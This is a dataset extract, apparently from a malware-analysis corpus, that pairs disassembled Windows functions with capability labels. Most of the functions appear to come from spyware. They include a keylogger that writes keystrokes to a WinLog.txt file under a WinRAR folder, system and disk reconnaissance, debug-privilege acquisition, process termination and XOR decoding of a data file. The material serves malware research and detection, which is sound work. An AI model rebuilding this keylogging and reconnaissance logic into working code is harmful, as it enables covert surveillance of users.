joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47e5e7
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x47e615
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x47e633
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047e54d
jmp 0x47e633
mov eax, dword [esi + 0x14]
test eax, eax
je 0x47e633
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047e54d
test edi, edi
mov eax, edi
jne 0x47e61d
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x10001000
Capabilities:
Get disk information

Disassembly:
sub esp, 0x34c
push ebx
push ebp
push esi
xor esi, esi
push edi
mov dword [esp + 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebp, dword [esp + 0x360]
mov dword [esp + 0x18], eax
mov bl, 0x41
mov dword [esp + 0x14], esi
movsx edx, bl
mov eax, 1
lea ecx, [edx - 0x41]
shl eax, cl
and eax, dword [esp + 0x18]
je 0x100010cc
test eax, eax
jle 0x100010f7
mov ecx, 0x23
xor eax, eax
lea edi, [esp + 0x1c]
push edx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x20]
push str._C:_
push eax
call dword [0x1000ee78]
add esp, 0xc
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0x200
lea edx, [esp + 0xac]
mov dword [esp + 0xa8], eax
push 0x2b4
push edx
lea eax, [esp + 0x28]
push 0
push eax
call dword [0x1000ee00]
lea ecx, [esp + 0xb4]
lea edx, [esp + 0x24]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [esp + 0x10]
mov ecx, 0x23
lea esi, [esp + 0x1c]
mov edi, ebp
add edx, 0x8c
add ebp, 0x118
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x14]
inc bl
inc eax
cmp eax, 0x1a
mov dword [esp + 0x14], eax
jl 0x10001027
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x364]
lea edx, [ecx + ecx]
mov dword [eax], 0
mov dword [eax + 4], edx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34c
ret
Function at 0x10001410
Capabilities:
Delete file

Disassembly:
sub esp, 0x414
mov ecx, 0x105
lea eax, [esp + 4]
push esi
mov esi, dword [esp + 0x41c]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, eax
mov eax, dword [esp + 0x424]
neg ecx
sbb ecx, ecx
pop edi
inc ecx
mov dword [eax + 4], 0
mov dword [eax], ecx
pop esi
add esp, 0x414
ret

Function at 0x10001460
Capabilities:
Get common file path
Move file

Disassembly:
sub esp, 0x420
lea eax, [esp + 0x218]
push esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xe]
mov ecx, dword [esp + 0xc]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0xe]
push eax
mov eax, dword [esp + 0xe]
and ecx, 0xffff
and edx, 0xffff
push ecx
and eax, 0xffff
push edx
lea ecx, [esp + 0x22c]
push eax
push ecx
lea edx, [esp + 0x2c]
push 0x1000e0b8
push edx
call dword [0x1000ee78]
mov ecx, dword [esp + 0x448]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExW]
add esp, 0x20
lea eax, [esp + 0x14]
push 3
push eax
push ecx
call esi
test eax, eax
je 0x1000150c
push 5
lea edx, [esp + 0x18]
push 0
push edx
call esi
test eax, eax
je 0x1000150c
mov eax, 1
pop esi
add esp, 0x420
ret
xor eax, eax
pop esi
add esp, 0x420
ret

Function at 0x10001570
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x868
mov ecx, 0x105
push ebx
push esi
mov esi, dword [esp + 0x874]
push edi
lea edi, [esp + 0x460]
xor ebx, ebx
rep movsd dword es:[edi], dword [esi]
cmp dword [esp + 0x460], ebx
jge 0x100015ce
push ebx
push ebx
lea eax, [esp + 0x46c]
push ebx
push eax
push str.open
push ebx
call dword [0x1000ee04]
xor ecx, ecx
cmp eax, 0x20
mov eax, dword [esp + 0x87c]
pop edi
setl cl
mov dword [eax + 4], ebx
pop esi
mov dword [eax], ecx
pop ebx
add esp, 0x868
ret
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x62]
mov word [esp + 0x60], bx
rep stosd dword es:[edi], eax
lea edx, [esp + 0x464]
push edx
push 0x1000e12c
stosw word es:[edi], ax
push 0x1000e124
lea eax, [esp + 0x6c]
push str._sd._s__c___s_
push eax
call dword [0x1000ee78]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x30]
add esp, 0x14
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x1000e0fc
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x7c]
push ebx
push eax
push ebx
mov dword [esp + 0x44], 0x44
mov dword [esp + 0x4c], str.WinSta0Default
mov dword [esp + 0x70], 1
mov word [esp + 0x74], bx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1000167f
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0xc]
push edx
call esi
mov eax, dword [esp + 0x87c]
pop edi
pop esi
mov dword [eax], ebx
mov dword [eax + 4], ebx
pop ebx
add esp, 0x868
ret
mov eax, dword [esp + 0x87c]
pop edi
pop esi
mov dword [eax + 4], ebx
mov dword [eax], 1
pop ebx
add esp, 0x868
ret
Function at 0x100016a0
Capabilities:
Copy file

Disassembly:
sub esp, 0x414
mov ecx, 0x105
lea eax, [esp + 0x20c]
push esi
mov esi, dword [esp + 0x41c]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
push 1
lea ecx, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov edx, eax
mov eax, dword [esp + 0x424]
neg edx
sbb edx, edx
pop edi
inc edx
mov dword [eax + 4], 0
mov dword [eax], edx
pop esi
add esp, 0x414
ret

Function at 0x100016f0
Capabilities:
Move file

Disassembly:
sub esp, 0x414
mov ecx, 0x105
lea eax, [esp + 0x20c]
push esi
mov esi, dword [esp + 0x41c]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov edx, eax
mov eax, dword [esp + 0x424]
neg edx
sbb edx, edx
pop edi
inc edx
mov dword [eax + 4], 0
mov dword [eax], edx
pop esi
add esp, 0x414
ret

Function at 0x10001780
Capabilities:
Get disk information

Disassembly:
sub esp, 0xc
xor eax, eax
lea ecx, [esp]
push eax
push eax
push eax
push eax
push ecx
push eax
lea edx, [esp + 0x1c]
push eax
push edx
mov dword [esp + 0x20], eax
mov word [esp + 0x24], 0x43
mov word [esp + 0x26], 0x3a
mov word [esp + 0x28], 0x5c
mov word [esp + 0x2a], ax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov eax, dword [esp]
add esp, 0xc
ret

Function at 0x10001830
Capabilities:
Get hostname
Get memory capacity

Disassembly:
sub esp, 0x154
push esi
mov esi, dword [esp + 0x160]
lea eax, [esp + 4]
push edi
push eax
push esi
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea ecx, [esi + 0xc4]
push 0x80
push ecx
call fcn.100017d0
add esp, 8
mov ecx, 0x47
xor eax, eax
lea edi, [esp + 0x40]
lea edx, [esp + 0x40]
rep stosd dword es:[edi], eax
push edx
mov dword [esp + 0x44], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x10001894
pop edi
pop esi
add esp, 0x154
ret
mov edx, dword [esp + 0x48]
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x44]
mov dword [esi + 0x194], edx
mov dword [esi + 0x18c], eax
mov ax, word [esp + 0x154]
mov dword [esi + 0x190], ecx
mov ecx, dword [esp + 0x4c]
lea edx, [esp + 0x20]
mov word [esi + 0x198], ax
push edx
mov dword [esi + 0x19c], ecx
mov dword [esp + 0x24], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [esp + 0x28]
xor ecx, ecx
mov dword [esp + 0x10], ecx
lea edx, [esp + 0xc]
shr eax, 0x14
mov dword [esp + 0x14], ecx
inc eax
mov dword [esp + 0x18], ecx
mov dword [esi + 0x80], eax
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x160]
lea eax, [esp + 0x10]
push edx
push eax
push ecx
mov dword [esp + 0x18], 0x10
call dword [0x1000eeb0]
mov edx, dword [esp + 0x14]
mov dword [esi + 0x1a0], edx
call fcn.10001740
mov dword [esi + 0x144], eax
call fcn.10001780
mov dword [esi + 0x188], eax
pop edi
mov eax, 1
pop esi
add esp, 0x154
ret
Function at 0x10001b40
Capabilities:
Get file size
Write file on windows

Disassembly:
push ecx
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x1000fec0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push 0
push esi
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x1400000
jae 0x10001b87
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [esp + 0x10]
lea eax, [esp + 8]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ecx
ret
Function at 0x10001cc0
Capabilities:
Create directory

Disassembly:
sub esp, 0x400
push ebx
push ebp
push esi
push edi
push 0x1000fec0
push 0
push 0
push 0x26
push 0
call dword [0x1000ee0c]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.WinRAR
push 0x1000fec0
call esi
push 0
push 0x1000fec0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push str.WinLog.txt
push 0x1000fec0
call esi
mov ebp, dword [0x1000ee54]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 0
rep stosd dword es:[edi], eax
mov ecx, 0x400
mov edi, 0x1000eec0
rep stosd dword es:[edi], eax
push 8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10001bb0
test eax, eax
je 0x10001d76
push 0x1000eec0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x10001d76
push 0x1000ea88
push 0x1000eec0
call esi
push 0x1000eec0
call fcn.10001b40
add esp, 4
mov ecx, 0x400
xor eax, eax
mov edi, 0x1000eec0
rep stosd dword es:[edi], eax
xor ebx, ebx
push 0x10
call ebp
mov esi, dword [ebx + str._b_repqrstuvwxyz1234567890_tQWERTYUIOPASDFGHJKLZXCVBNM]
push esi
movsx edi, ax
call dword [0x1000ee58]
test ah, 0x80
je 0x10001df8
push 0x14
call ebp
test ax, ax
je 0x10001db6
cmp edi, 0xffffffff
jle 0x10001db6
cmp esi, 0x40
jle 0x10001db6
cmp esi, 0x5b
jge 0x10001db6
mov dword [esp + esi*4 + 0x10], 1
jmp 0x10001e9f
push 0x14
call ebp
test ax, ax
je 0x10001dda
test edi, edi
jge 0x10001deb
cmp esi, 0x40
jle 0x10001dda
cmp esi, 0x5b
jge 0x10001dda
mov dword [esp + esi*4 + 0x10], 2
jmp 0x10001e9f
test edi, edi
jge 0x10001deb
mov dword [esp + esi*4 + 0x10], 3
jmp 0x10001e9f
mov dword [esp + esi*4 + 0x10], 4
jmp 0x10001e9f
mov edi, dword [esp + esi*4 + 0x10]
test edi, edi
je 0x10001e9f
cmp esi, 8
mov dword [esp + esi*4 + 0x10], 0
push 0x1000eec0
jne 0x10001e28
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov word [eax*2 + 0x1000eebe], 0
jmp 0x10001e9f
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x7d0
jle 0x10001e52
push 0x1000eec0
call fcn.10001b40
add esp, 4
mov ecx, 0x400
xor eax, eax
mov edi, 0x1000eec0
rep stosd dword es:[edi], eax
jmp 0x10001e9f
cmp esi, 0xd
jne 0x10001e6d
push 0x1000eec0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x10001e9f
push str._Enter__r_n
jmp 0x10001e94
mov eax, edi
and eax, 0x80000001
jns 0x10001e7b
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x10001e89
mov eax, dword [ebx + 0x1000e2dc]
push eax
jmp 0x10001e94
test eax, eax
jne 0x10001e9f
mov ecx, dword [ebx + 0x1000e160]
push ecx
push 0x1000eec0
call dword [sym.imp.KERNEL32.dll_lstrcatW]
add ebx, 4
cmp ebx, 0x17c
jl 0x10001d78
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x10001d2f

Function at 0x10001ec0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 0x18
Function at 0x10001f20
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x468
push esi
lea eax, [esp + 0x20]
push edi
push eax
push 0
mov ecx, 6
mov esi, str.Common_FilesDESIGNER_
lea edi, [esp + 0x14]
push 0
push 0x26
rep movsd dword es:[edi], dword [esi]
push 0
call dword [0x1000ee08]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x24]
push ecx
push edx
call esi
lea eax, [esp + 0x24]
lea ecx, [esp + 0x36c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x36c]
push 0x1000eacc
push edx
call esi
lea eax, [esp + 0x128]
lea ecx, [esp + 0x36c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 8], esi
je 0x1000205c
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
mov ebx, dword [0x1000ee50]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esp + 0x15c], 0x2e
je 0x1000203c
mov edx, dword [esp + 0x130]
or edx, 0x10
je 0x1000203c
lea eax, [esp + 0x15c]
lea ecx, [esp + 0x2c]
push eax
push ecx
lea edx, [esp + 0x278]
push str._s_s
push edx
call ebx
add esp, 0x10
lea eax, [esp + 0x270]
push str..OLE
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x1000203c
push 0
lea ecx, [esp + 0x274]
push 0
push ecx
push 0x10001ef0
push 0
push 0
call fcn.10001ec0
mov esi, eax
push 0xc8
push esi
call edi
push esi
call ebp
mov esi, dword [esp + 0x10]
lea edx, [esp + 0x130]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10001fb8
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x468
ret

Function at 0x100020f0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 8]
push esi
dec eax
jne 0x1000211f
push 0
push 0
push 0
push 0x10002070
push 0
push 0
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
push 0x3e8
call esi
jmp 0x10002116
mov eax, 1
pop esi
ret 0xc
Function at 0x10003270
Capabilities:
Delete file
Encode data using xor
Get file size
Read file on windows

Disassembly:
sub esp, 0x418
lea eax, [esp + 8]
push esi
push eax
push 0
push 0
push 0x26
push 0
call dword [0x1000ee0c]
lea ecx, [esp + 0xc]
push str.WinRARtemp.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [esp + 0x428]
test eax, eax
je 0x100032c1
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0xc]
push edx
call esi
push 0x1000fec0
call esi
pop esi
add esp, 0x418
ret
push edi
mov edi, dword [esp + 0x428]
mov dword [esp + 0xc], 0
cmp dword [edi + 8], 1
jne 0x100032e6
lea eax, [esp + 0x10]
lea ecx, [esp + 0x218]
push eax
push ecx
jmp 0x100032f3
lea edx, [esp + 0x218]
push 0x1000fec0
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
push 0x80
push 3
push 0
push 1
lea eax, [esp + 0x22c]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 8], esi
je 0x100033ab
push ebx
push ebp
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
push ebp
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x14]
mov ebx, eax
push 0
push ecx
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [edi + 8], 1
jne 0x1000336a
xor eax, eax
test ebp, ebp
jle 0x1000336a
mov cl, byte [eax + ebx]
xor cl, 0x62
mov byte [eax + ebx], cl
inc eax
cmp eax, ebp
jl 0x1000335c
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, dword [esp + 0x42c]
mov ecx, eax
shl ecx, 1
mov edx, ecx
mov esi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x430]
mov ecx, edx
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
mov dword [eax], 0
mov dword [eax + 4], ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov esi, dword [esp + 0x14]
add esp, 4
pop ebp
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
add esp, 0x418
ret
Function at 0x10003b80
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100095e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x8c8
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x10], esp
xor ebx, ebx
push eax
push 0x20
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x1000edb0]
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x2c], 1
push ecx
push str.SeDebugPrivilege
push ebx
call dword [0x1000edb4]
mov eax, dword [ebp - 0x18]
push ebx
push ebx
lea edx, [ebp - 0x2c]
push 0x10
push edx
push ebx
push eax
mov dword [ebp - 0x20], 2
call dword [0x1000edb8]
push str.CreateToolhelp32Snapshot
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push ebx
push 2
mov dword [ebp - 0x1c], edi
call edi
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x14], esi
jne 0x10003c34
mov eax, dword [ebp + 0xc]
mov dword [eax], 1
mov dword [eax + 4], ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x258], 0x22c
push ecx
push esi
mov dword [ebp - 0x8d4], 0x428
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x10003d2c
mov edx, dword [ebp - 0x250]
push edx
push 8
call edi
mov esi, eax
lea eax, [ebp - 0x8d4]
push eax
push esi
call sub.KERNEL32.dll_Module32FirstW
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x250]
push ecx
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, eax
mov ecx, 0x95
xor eax, eax
lea edi, [ebp - 0x4ac]
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x244]
push edx
mov dword [ebp - 0x4ac], eax
mov dword [ebp - 0x4a8], ecx
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov esi, dword [sym.imp.MSVCRT.dll_wcsncpy]
mov dword [ebp - 0x4a4], eax
lea edx, [ebp - 0x234]
push 0x20
lea eax, [ebp - 0x4a0]
push edx
push eax
call esi
lea ecx, [ebp - 0x6b4]
push 0x104
lea edx, [ebp - 0x460]
push ecx
push edx
call esi
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x14]
mov ecx, 0x95
lea esi, [ebp - 0x4ac]
lea edi, [ebx + eax]
add esp, 0x18
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x258]
add ebx, 0x254
push ecx
push edx
call sub.KERNEL32.dll_Process32NextW
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x1c]
jmp 0x10003c55
test esi, esi
je 0x10003d37
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword [eax], 0
mov dword [eax + 4], ebx
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003d60
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
mov eax, dword [esi + 8]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x10003d90
push eax
mov dword [esi], 1
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x10003db0
push edi
mov dword [esi], 1
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0
mov dword [esi + 4], 0
pop edi
pop esi
ret

Function at 0x10003f60
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.10003fd0
mov ecx, dword [esi + 0xc]
mov eax, dword [esp + 0xc]
shr ecx, 2
test eax, eax
jne 0x10003f91
test ecx, ecx
jle 0x10003fc6
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edx, dword [edx + eax*4]
mov dword [edi + eax*4], edx
inc eax
cmp eax, ecx
jl 0x10003f7b
pop edi
pop esi
ret 4
jbe 0x10003fc6
xor eax, eax
test ecx, ecx
jle 0x10003fc6
push ebx
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edi, dword [edi + eax*4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
xor ebx, edi
mov dword [edx], ebx
mov edx, dword [esi + 8]
mov edi, dword [esi + 4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
mov edi, dword [edi + eax*4]
xor ebx, edi
inc eax
cmp eax, ecx
mov dword [edx], ebx
jl 0x10003f9a
pop ebx
pop edi
pop esi
ret 4
Function at 0x411900
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4743fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00468c71
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x411982
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004664b0
mov eax, dword [eax]
push 0x49f1f0
push eax
call fcn.00459064
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00468efc
test bl, bl
je 0x411982
push 0x49f1f0
lea ecx, [esp + 0xc]
call fcn.0046928c
push 0x4a2d64
lea ecx, [esp + 0xc]
call fcn.0046928c
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4119be
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00468efc
jmp 0x411a89
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x411a42
lea edx, [esp + 0x7c]
push 0x4a2d60
push edx
call fcn.00459064
add esp, 8
test eax, eax
je 0x411a42
lea eax, [esp + 0x7c]
push 0x4a2d5c
push eax
call fcn.00459064
add esp, 8
test eax, eax
je 0x411a42
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4119d2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00468efc
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x412280
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4122e2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc